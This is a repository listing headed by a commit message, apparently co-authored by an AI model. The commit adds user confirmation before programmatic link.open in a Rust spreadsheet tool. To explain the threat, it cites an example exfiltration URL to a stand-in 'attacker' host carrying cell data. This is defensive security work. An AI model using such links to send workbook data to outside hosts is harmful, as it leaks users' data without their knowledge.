Higgs32584andClaude Opus 5.5 79214fd287 link: require confirmation for programmatic link.open (#2181) ...

link.open is reachable by the control channel, CLI, MCP and workbook
scripts, so it could open https://attacker/?d=<cell data> without the
user seeing it. By default (LinkPolicy::Confirm) it now refuses web and
e-mail addresses with an error and opens no dialog; references still
navigate and other schemes stay refused. A host may opt in with
LinkPolicy::Allow (Rust API only, no command sets it).

The UI's Open Hyperlink prompt no longer runs a command on OK: it calls
Session::open_confirmed_link with the address it showed, kept in a
private field, so ui.dialog.confirm can't press OK and ui.dialog.set
can't swap the address behind the prompt text.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

2026-10-21 20:50:07 -04:00

..

examples

…

src

link: require confirmation for programmatic link.open (#2181)

2026-10-21 20:50:07 -04:00

tests

Merge pull request #1879 from Silvertree2010:fix/h2804-custom-autofilter-is-less-than-l

2026-10-19 12:21:34 -04:00

Cargo.toml

Engine: file.open decrypts password-protected workbooks (#11)

2026-10-11 23:29:28 +02:00